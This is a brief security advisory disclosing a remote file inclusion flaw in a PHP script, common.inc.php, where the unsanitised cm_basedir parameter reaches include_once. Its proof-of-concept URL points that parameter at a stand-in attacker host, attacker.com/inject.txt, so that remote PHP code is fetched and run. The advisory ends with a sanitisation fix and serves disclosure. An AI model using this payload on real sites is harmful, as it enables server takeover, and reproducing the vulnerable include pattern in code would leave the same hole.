Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability at script common.inc.php

-----------------------common.inc.php----------------------
....
<?php
include_once($cm_basedir."/ez_sql.php");
include_once($cm_basedir."/pg2ezsql.php");
// include_once($cm_basedir."/functions.php");
$ver = "3.1.1228";

...
----------------------------------------------------------

Input passed to the "cm_basedir" parameter in common.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt?


Solution:
~~~~~~~
- Sanitize variable $cm_basedir on common.inc.php.
